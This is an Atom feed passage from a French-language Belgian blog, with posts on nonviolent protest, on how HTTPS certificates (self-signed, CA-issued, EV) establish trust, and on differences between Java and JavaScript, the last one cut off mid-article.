&lt;p&gt;Seulement là, c&amp;rsquo;est contre l&amp;rsquo;état que j&amp;rsquo;en ai. Si je casse, je casse les biens publics… et ces routes, ces panneaux, ces immeubles, ces parcs… c&amp;rsquo;est — en partie — moi qui les paie. Ils contribuent à mon bien être. Les patrons — les politiques en l&amp;rsquo;occurrence — ils s&amp;rsquo;en foutent. Ce ne sont pas mes collègues que j&amp;rsquo;emmerde, c&amp;rsquo;est tout le monde.&lt;/p&gt;
&lt;p&gt;Est-ce que je suis suffisamment en colère pour tout casser. Pour faire une révolution ? &lt;/p&gt;
&lt;p&gt;— Tous à la Bastille ! &lt;/p&gt;
&lt;p&gt;Ça nous concerne tous ou moi seul ou seulement les ouvriers, les enseignants, les agriculteurs, les avocats, les postiers, les pompiers, les infirmiers, les métallos, les conducteurs de train…&lt;/p&gt;
&lt;p&gt;Nous sommes plusieurs à être fâchés d&amp;rsquo;accord, c&amp;rsquo;est parfois difficile mais nous restons chanceux. On ne va pas casser le système quand même !&lt;/p&gt;
&lt;p&gt;On ne va pas casser le système (pour l&amp;rsquo;instant) et ils le savent nos patrons-politiques. On leur a donné le pouvoir pour quelques années et ils faut qu&amp;rsquo;ils le méritent. Ils doivent prendre les décisions en « bon père de famille ».&lt;/p&gt;
&lt;p&gt;Alors pour me faire entendre, je ne casse pas les routes avec mon tracteur / grue parce j&amp;rsquo;en ai un, je ne bloque pas les navetteurs &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; parce que j&amp;rsquo;ai le pouvoir du cheminot &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;, je…&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Je…&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Heu…&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;essaie d&amp;rsquo;être inventif ! Je ne veux pas casser parce que la violence n&amp;rsquo;est pas un bon moyen de communication. Je veux cependant être entendu. Je ne suis pas content, rappelle-toi ! Comment faire ? La violence est la réponse la plus facile, immédiate, sans réflexion. &lt;em&gt;On va leur casser la gueule tu vas voir. Ils vont écouter.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Peut-on se faire entendre sans gueuler ? Peut-on imaginer des actions qui interpellent les patrons-politiques sans embêter les autres citoyens et sans violence ? Je suis naïf. Rêvons d&amp;rsquo;un mois trains gratuits, de fin d&amp;rsquo;année à l&amp;rsquo;école sans examen, de boite aux lettres vides dans tous les ministères, de maïs plantés dans les pelouses…&lt;/p&gt;
&lt;p&gt;Se faire entendre sans gueuler…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;deviantart&lt;/a&gt; par &lt;a href="http://jayw10990.deviantart.com/art/Tractor-472358300"&gt;Jayw10990&lt;/a&gt;. Ben lui, il a un tracteur !&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Auteur anonyme au hasard de Twitter. Et pas de shampoing non plus remarque.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Si un français passe par ici, qu&amp;rsquo;il ne s&amp;rsquo;étonne pas. Ce terme, c&amp;rsquo;est du belge. Il désigne les gens qui font la navette en train ou en bus entre leur domicile et leur lieu du travail. Adoptez-le !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Le conducteur de train fait un beau métier — il faut le rappeler — qui consiste à conduire les gens au travail sans qu&amp;rsquo;ils soient coincés dans les embouteillages&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>La force du certificat (auto-signé)</title><link href="http://blog.namok.be/2015-10-14-la-force-du-certificat.html" rel="alternate"/><published>2015-10-14T00:00:00+02:00</published><updated>2015-10-14T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-10-14:/2015-10-14-la-force-du-certificat.html</id><summary type="html">La force du certificat (auto-signé)</summary><content type="html">&lt;p&gt;&lt;img alt="la-7-me-compagnie-1775688.jpg" src="/images/la-7-me-compagnie-1775688.jpg" title="la-7-me-compagnie-1775688.jpg, oct. 2015"&gt;&lt;/p&gt;
&lt;p&gt;— Le site est en http&lt;strong&gt;s&lt;/strong&gt; donc c&amp;rsquo;est sécurisé.&lt;br&gt;
— Oui et non.&lt;/p&gt;
&lt;p&gt;Un site en &lt;em&gt;https&lt;/em&gt; signifie que la communication entre le serveur — le site web auquel l&amp;rsquo;utilisateur accède — et le client — le navigateur internet — est chiffrée. Si cette communication est chiffrée, elle ne pourra pas être lue par un tiers. Le mot de passe de ton compte, le numéro de ta carte visa, la recette de la tarte à mastelles, la photo de ta b… bagnole. Tout ça circule de manière chiffrée en &lt;code&gt;https&lt;/code&gt; ou en clair si c&amp;rsquo;est simplement en &lt;code&gt;http&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Pour mettre en place une communication &lt;em&gt;tls&lt;/em&gt; (anciennement &lt;em&gt;ssl&lt;/em&gt;), il faut deux ingrédients.&lt;/p&gt;
&lt;p&gt;Le premier ingrédient permet effectivement que la communication entre les deux parties soit chiffrée. C&amp;rsquo;est de &lt;a href="https://fr.wikipedia.org/wiki/Cryptographie_asym%C3%A9trique"&gt;la cryptographie asymétrique&lt;/a&gt; avec génération de clés privées et publiques et partage de la clé publique. Dès lors que la taille des clés et la méthode de chiffrement sont valables, la communication ne sera pas déchiffrée (en un temps raisonnable et avec des moyens raisonnables bla bla). Grâce à ces clés, on peut faire deux choses:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;vérifier l&amp;rsquo;identité d&amp;rsquo;un interlocuteur. En effet s&amp;rsquo;il me donne sa clé publique et s&amp;rsquo;il prétend être qui il prétend, il détient alors la clé privée et je peux lui envoyer un challenge;&lt;/li&gt;
&lt;li&gt;établir un canal de communication sécurisé temporaire pour s&amp;rsquo;échanger une clé de session qui chiffrera toute la suite de la communication.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le deuxième ingrédient se résume en une seule question :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;« Mon interlocuteur est-il bien qui il prétend être ? »&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Il est en effet possible qu&amp;rsquo;une personne malveillante substitue son site web au site web auquel je voulais me connecter afin de dérober mes secrets ! C&amp;rsquo;est là qu&amp;rsquo;entre en jeu l&amp;rsquo;autorité de certification.&lt;/p&gt;
&lt;p&gt;Le rôle de &lt;strong&gt;l&amp;rsquo;autorité de certification&lt;/strong&gt; est simplement de garantir l&amp;rsquo;identité de l&amp;rsquo;interlocuteur. Plus précisément la validité du couple identité / clé publique. Si je tente une connexion &lt;em&gt;https&lt;/em&gt; au site &lt;code&gt;secure.example.org&lt;/code&gt; l&amp;rsquo;autorité de certification pourra me dire si c&amp;rsquo;est effectivement avec le « bon » site &lt;code&gt;secure.example.org&lt;/code&gt; que je communique. Si c&amp;rsquo;est le cas, nous échangerons nos clés et nous communiquerons de manière chiffrée. Sinon, mon navigateur me préviendra du danger.&lt;/p&gt;
&lt;p&gt;Il existe différents types de certificats. La question du jour s&amp;rsquo;intéresse à la confiance que l&amp;rsquo;on peut leur faire &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. On parle bien ici de la confiance que l&amp;rsquo;on a en l&amp;rsquo;autorité qui me garantit qu&amp;rsquo;une autre personne est digne de confiance. On pourrait s&amp;rsquo;intéresser à qui sont ces autorités mais ce n&amp;rsquo;est pas l&amp;rsquo;objet.&lt;/p&gt;
&lt;p&gt;Le premier type de certificat que l&amp;rsquo;on rencontre est le &lt;strong&gt;certificat auto-signé&lt;/strong&gt;. À l&amp;rsquo;allure ci-dessous, je garantis que je suis bien qui je prétends être.&lt;/p&gt;
&lt;p&gt;— C&amp;rsquo;est qui ?&lt;br&gt;
— C&amp;rsquo;est moi.&lt;br&gt;
— Qui ça moi ?&lt;br&gt;
— Ben moi, ouvre !&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Émis pour 
Nom commun (CN)             secure.example.org
Organisation (O)            ACME
Unité d&amp;#39;organisation (OU)   ACME
Numéro de série             AA:BB:11:22:CC:DD:33:44::EE

Émis par
Nom commun (CN)             secure.example.org
Organisation (O)            ACME
Unité d&amp;#39;organisation (OU)   AME

Période de validité
…
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;En fonction du navigateur, le message d&amp;rsquo;alerte sera différent. &lt;a href="https://www.google.com/chrome/browser/desktop/index.html"&gt;Google Chrome&lt;/a&gt; donnera toujours un avertissement qu&amp;rsquo;il sera « difficile » d&amp;rsquo;ignorer tandis que &lt;a href="https://www.mozilla.org/fr/firefox/new/"&gt;Mozilla Firefox&lt;/a&gt; proposera d&amp;rsquo;ajouter une exception permanente.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Avec &lt;a href="https://www.google.com/chrome/browser/desktop/index.html"&gt;Google Chrome&lt;/a&gt; si le certificat change un jour, je n&amp;rsquo;en suis pas informé car je dois ignorer l&amp;rsquo;avertissement à chaque connexion. Je suis donc dans une « situation dangereuse » à chaque fois. Le choix de Google de ne pas autoriser l&amp;rsquo;enregistrement d&amp;rsquo;une exception pousse à l&amp;rsquo;abandon des certificats auto-signé. Est-ce un aspect sécuritaire ou commercial ?&lt;/li&gt;
&lt;li&gt;Avec &lt;a href="https://www.mozilla.org/fr/firefox/new/"&gt;Mozilla Firefox&lt;/a&gt;, si je décide de faire confiance au site web une première fois en ajoutant l&amp;rsquo;exception, il me préviendra si, soudain, le certificat change. Je dois faire confiance lors de la première connexion.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Un certificat auto-signé n&amp;rsquo;est pas &lt;strong&gt;nécessairement&lt;/strong&gt; une mauvaise solution ni une solution dangereuse. Je suis sûr que la connexion est chiffrée et je serai informé — si j&amp;rsquo;utilise Mozilla Firefox et s&amp;rsquo;il ne le fait pas dès la première connexion — si quelqu&amp;rsquo;un usurpe l&amp;rsquo;identité du site.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;important, pour que la communication soit confidentielle, c&amp;rsquo;est d&amp;rsquo;être sûr de l&amp;rsquo;identité de mon interlocuteur. C&amp;rsquo;est d&amp;rsquo;être sûr que la clé publique présentée est bien la sienne. Un meilleur moyen que le certificat auto-signé serait simplement l&amp;rsquo;affichage — avec surveillance — de l&amp;rsquo;empreinte de cette clé sur la place publique. Le canal de communication de la clé doit être sécurisé mais pas confidentiel.&lt;/p&gt;
&lt;p&gt;Dans le cadre de l&amp;rsquo;école, les &lt;strong&gt;valves papiers&lt;/strong&gt; font très bien l&amp;rsquo;affaire. Je ne dois pas faire confiance à une société tierce et je suis certain que la clé est la bonne puisque je le vérifie moi-même.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est bien dans le choix du type de certificat que se passe toute la réflexion. Je n&amp;rsquo;ai pas besoin de la même sécurité lorsqu&amp;rsquo;il s&amp;rsquo;agit du site d&amp;rsquo;une banque ou d&amp;rsquo;un site de commerce en ligne, d&amp;rsquo;un site de porn / rencontre, d&amp;rsquo;un site de &lt;em&gt;elearning&lt;/em&gt;…&lt;/p&gt;
&lt;p&gt;Les &lt;strong&gt;autres types de certificats&lt;/strong&gt; sont garantis par une autorité de certification tierce et la « force » de la garantie dépend simplement du prix que l&amp;rsquo;on veut bien payer ! En fonction de ce prix, l&amp;rsquo;autorité de certification fera des vérifications de l&amp;rsquo;identité du demandeur plus ou moins poussées. Des navigateurs comme Google Chrome et l&amp;rsquo;ignorance des utilisateurs m&amp;rsquo;imposent d&amp;rsquo;utiliser un tel certificat pour éviter l&amp;rsquo;affichage d&amp;rsquo;un avertissement à chaque connexion.&lt;/p&gt;
&lt;p&gt;Pour les certificats les moins chers, l&amp;rsquo;autorité se contente de vérifier que le demandeur a bien la main sur le domaine. L&amp;rsquo;une des trois méthodes utilisée est:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;demande d&amp;rsquo;ajout d&amp;rsquo;un enregistrement DNS (il faut avoir la main sur la zone concernée);&lt;/li&gt;
&lt;li&gt;demande d&amp;rsquo;ajout d&amp;rsquo;une adresse mail particulière (il faut avoir la main sur la zone ou sur le serveur de mail);&lt;/li&gt;
&lt;li&gt;demande d&amp;rsquo;ajout d&amp;rsquo;un fichier texte particulier à la racine du domaine à protéger (il faut avoir la main sur l&amp;rsquo;hébergement)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour les certificats plus chers et donc plus surs, le demandeur devra montrer des preuves de domiciliation, de propriété du nom de domaine… et l&amp;rsquo;autorité de certification pourra offrir des garanties sur les transactions financières.&lt;/p&gt;
&lt;p&gt;À partir de ±300€ / an, l&amp;rsquo;autorité de certification fournit la « &lt;strong&gt;green bar&lt;/strong&gt; » gage d&amp;rsquo;une vérification poussée (ce sont les certificats &lt;em&gt;EV SSL&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img alt="The green bar" src="/images/green-bar.jpg"&gt;&lt;/p&gt;
&lt;p&gt;On aura alors des certificats à l&amp;rsquo;allure suivante:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Émis pour 
Nom commun (CN)             secure.example.org
Organisation (O)            ACME
Unité d&amp;#39;organisation (OU)   ACME
Numéro de série             AA:BB:11:22:CC:DD:33:44::EE

Émis par
Nom commun (CN)             VeriSign Class 3 Secure Server CA - G3
Organisation (O)            VeriSign, Inc
Unité d&amp;#39;organisation (OU)   VeriSign Trust Network

Période de validité
…
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le plus simple est de faire confiance à son navigateur. Le plus simple n&amp;rsquo;est jamais le plus sécurisé. Lorsque le navigateur accepte un certificat TLS, c&amp;rsquo;est bien. Je peux ne pas me poser de question. Lorsqu&amp;rsquo;il le refuse, rien n&amp;rsquo;empêche de le regarder et de l&amp;rsquo;accepter en fonction du site web qu&amp;rsquo;il chiffre.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo par Pitivier et ses amis chez &lt;a href="http://www.live2times.com/1975-on-a-retrouve-la-7eme-compagnie-lamoureux-remet-ca-e--12872/"&gt;Live2times&lt;/a&gt;. Qui donc que la septième compagnie pour représenter l&amp;rsquo;autorité ?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Merci aux collègues qui ont accepté de relire.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Faire confiance en une autorité de certification, c&amp;rsquo;est croire: 1/ qu&amp;rsquo;elle n&amp;rsquo;accorde pas de faux certificat à des tiers (voir &lt;a href="http://rue89.nouvelobs.com/2011/03/18/tunisie-microsoft-complice-de-la-censure-numerique-par-ben-ali-195693"&gt;Microsoft en tunisie&lt;/a&gt;, l&amp;rsquo;affaire &lt;a href="https://reflets.info/microsoft-et-ben-ali-wikileaks-confirme-les-soupcons-d-une-aide-pour-la-surveillance-des-citoyens-tunisiens/"&gt;Ben Ali&lt;/a&gt;), 2/ qu&amp;rsquo;elle vérifie correctement l&amp;rsquo;identité des demandeurs, 3/ qu&amp;rsquo;elle ne fait pas les attaques &lt;em&gt;man in the middle&lt;/em&gt; elle-même car elle est très bien placée pour le faire.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Javascript c'est (pas) comme Java</title><link href="http://blog.namok.be/2015-10-10-javascript-versus-java.html" rel="alternate"/><published>2015-10-10T00:00:00+02:00</published><updated>2015-10-10T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-10-10:/2015-10-10-javascript-versus-java.html</id><summary type="html">Petite comparaison entre Java et Javascript.</summary><content type="html">&lt;p&gt;&lt;img alt="blue_duck_by_sudlice-d7x15ds.jpg" src="/images/blue_duck_by_sudlice-d7x15ds.jpg" title="blue_duck_by_sudlice-d7x15ds.jpg, oct. 2015"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;ou « J&amp;rsquo;ai lu pour vous &amp;ldquo;&lt;a href="http://shop.oreilly.com/product/0636920027065.do"&gt;Head first. Javascript Programming&lt;/a&gt;&amp;rdquo; »&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="#vocabulaire"&gt;Vocabulaire et concepts&lt;/a&gt;&lt;br&gt;
&lt;a href="#type"&gt;Type&lt;/a&gt;&lt;br&gt;
&lt;a href="#compilation-interpretation"&gt;Compilation, interprètation&lt;/a&gt;&lt;br&gt;
&lt;a href="#closure"&gt;Closure et &lt;em&gt;first class value&lt;/em&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="#inheritance"&gt;Héritage par prototype &lt;em&gt;versus&lt;/em&gt; héritage classique (par classe)&lt;/a&gt;&lt;br&gt;
&lt;a href="#falsey"&gt;falsex - trusthy&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Javascript, c&amp;rsquo;est comme Java car il contient le mot &lt;em&gt;Java&lt;/em&gt;.&lt;br&gt;
Javascript, c&amp;rsquo;est comme Java car une grande partie de la syntaxe est pareille:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;les accolades &lt;code&gt;{}&lt;/code&gt; sont les délimiteurs de blocs;&lt;/li&gt;
&lt;li&gt;les mots clés de base sont les mêmes (&lt;code&gt;do while for if else break continue return switch throw try catch instance(o/O)f&lt;/code&gt;…);&lt;/li&gt;
&lt;li&gt;les littéraux numériques et logiques sont pareils;&lt;/li&gt;
&lt;li&gt;les opérateurs arithmétiques, logiques et de comparaison — même l&amp;rsquo;opérateur ternaire — existent dans les deux langages;&lt;/li&gt;
&lt;li&gt;les commentaires se mettent aussi entre &lt;code&gt;/* */&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;les noms de variables contiennent des caractères, des chiffres et &lt;code&gt;$&lt;/code&gt; et &lt;code&gt;_&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;il est possible de définir des objets et tous héritent — attention, la notion d&amp;rsquo;héritage est différente — de &lt;code&gt;Object&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;il existe des objets prédéfinis qui s&amp;rsquo;appellent; &lt;code&gt;Object&lt;/code&gt;, &lt;code&gt;Date&lt;/code&gt;, &lt;code&gt;String&lt;/code&gt;, &lt;code&gt;Math&lt;/code&gt;…;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;It&amp;rsquo;s all folks !&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;C&amp;rsquo;est tout les gars !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;La similitude s&amp;rsquo;arrête là.&lt;br&gt;
Javascript ce n&amp;rsquo;est pas comme Java.&lt;/p&gt;
&lt;h2 id="vocabulaire"&gt;Vocabulaire, concepts et usage&lt;/h2&gt;
&lt;p&gt;Java traite avec des classes, des interfaces, des objets, des attributs, des méthodes (éventuellement) statiques tandis que Javascript manipule des objets, des propriétés et des fonctions.&lt;/p&gt;
&lt;p&gt;Certains concepts — s&amp;rsquo;ils ne sont pas semblables — sont (très) proches. D&amp;rsquo;autres pas du tout. C&amp;rsquo;est à cette question que tente de répondre l&amp;rsquo;article ^^&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;usage que l&amp;rsquo;on veut faire du langage est très différent. Là où Java est un langage orienté &lt;em&gt;desktop&lt;/em&gt; et applications d&amp;rsquo;entreprise, Javascript est interprèté par le navigateur et, de ce fait, il est très orienté applications web. Il est très fort pour ça. Il s&amp;rsquo;intègre parfaitement avec HTML et CSS. Avec &lt;a href="https://nodejs.org/en/"&gt;Node.js&lt;/a&gt; il se retrouve maintenant du côté serveur et des librairies telles que &lt;a href="http://nwjs.io/"&gt;nw.js&lt;/a&gt; le place également dans les applications desktop.&lt;/p&gt;
&lt;h2 id="type"&gt;Type&lt;/h2&gt;
&lt;p&gt;Java est un langage fortement typé. Java demande que l&amp;rsquo;on déclare une variable avant de l&amp;rsquo;utiliser. Le contenu de cette variable devra être (à conversion ou héritage près) du type annoncé. En Javascript, pas besoin de définir le type lors de la « déclaration » d&amp;rsquo;une variable et, même si les expressions ont un type, une variable peut recevoir n&amp;rsquo;importe quel type de valeur… et en changer au fur et à mesure de l&amp;rsquo;exécution du programme.&lt;/p&gt;
&lt;p&gt;Le mot clé &lt;code&gt;var&lt;/code&gt; précisera le &lt;em&gt;scope&lt;/em&gt; de la variable. Une variable pourra être globale ou locale.&lt;/p&gt;
&lt;p&gt;Une variable Javascript peut même recevoir une fonction comme valeur.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// insert code&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;En Javascript, on a ce que l&amp;rsquo;on appelle, le &lt;em&gt;duck typing&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Si ça vole comme un canard, cancane comme un canard et nage comme un canard alors, c&amp;rsquo;est un canard.&lt;br&gt;
&lt;em&gt;Javascript guy&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;I&amp;#39;m a String&amp;quot;&lt;/span&gt;
&lt;span class="c1"&gt;// foo is a string&lt;/span&gt;
&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Duck&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="c1"&gt;// now, it&amp;#39;s a duck&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;En Java, une variable a un certain type et le type de l&amp;rsquo;instance doit être le même ou être un enfant.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Si c&amp;rsquo;est un canard alors… c&amp;rsquo;est un canard.&lt;br&gt;
&lt;em&gt;Java guy&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Duck&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;duck&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Duck&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="c1"&gt;// duck is a duck&lt;/span&gt;
&lt;span class="n"&gt;Bird&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bird&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Duck&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="c1"&gt;// bird is Bird type and Duck type instance&lt;/span&gt;
&lt;span class="c1"&gt;// Duck must inherit from Bird&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="compilation-interpretation"&gt;Compilation, interprètation&lt;/h2&gt;
&lt;p&gt;Java est un langage &lt;strong&gt;compilé et interprèté&lt;/strong&gt;. Le compilateur — qui génère le &lt;em&gt;bytecode&lt;/em&gt; exécuté par la machine virtuelle Java — vérifiera la concordance des types lors de son analyse sémantique. Au &lt;em&gt;runtime&lt;/em&gt; une seconde vérification aura lieu afin de voir si le type de l&amp;rsquo;instance est bien du type attendu.&lt;/p&gt;
&lt;p&gt;Javascript est un langage interprèté par le navigateur. L&amp;rsquo;interprètation se fait en deux passes. Lors de la première passe, le navigateur interprète les déclarations de fonctions et les « mémorise ». Dans un second temps, il interprète tout le reste.&lt;/p&gt;
&lt;p&gt;Il est possible en Javascript de déclarer des fonctions de deux manières différentes.&lt;/p&gt;
&lt;p&gt;La méthode classique — au sens, semblable aux autres langages:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// insert code&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La méthode « déclaration de variable » puisqu&amp;rsquo;une variable peut être une fonction:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// insert code&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La seule différence entre ces deux notations est le moment où elles sont évaluées. Dans le premier cas, l&amp;rsquo;évaluation est faite lors de la première passe et dans le second cas, lors de la deuxième passe. Cela peut, bien sûr, avoir une influence sur le code.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remarque&lt;/strong&gt; Pour tester facilement du code Javascript, installez &lt;a href="http://getfirebug.com/"&gt;firebug&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="closure"&gt;Closure et &lt;em&gt;first class value&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;Les fonctions Javascript — à l&amp;rsquo;inverse des méthodes (statiques) Java — sont des &lt;em&gt;first class values&lt;/em&gt; (valeurs de première classe, traduction libre). Une &lt;em&gt;first class value&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;peut être assignée à une variable (ou un tableau, une &lt;em&gt;map&lt;/em&gt;);&lt;/li&gt;
&lt;li&gt;peut être passée en paramètre d&amp;rsquo;une fonction;&lt;/li&gt;
&lt;li&gt;peut être retournée par une fonction&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Javascript permet donc d&amp;rsquo;écrire:&lt;/p&gt;
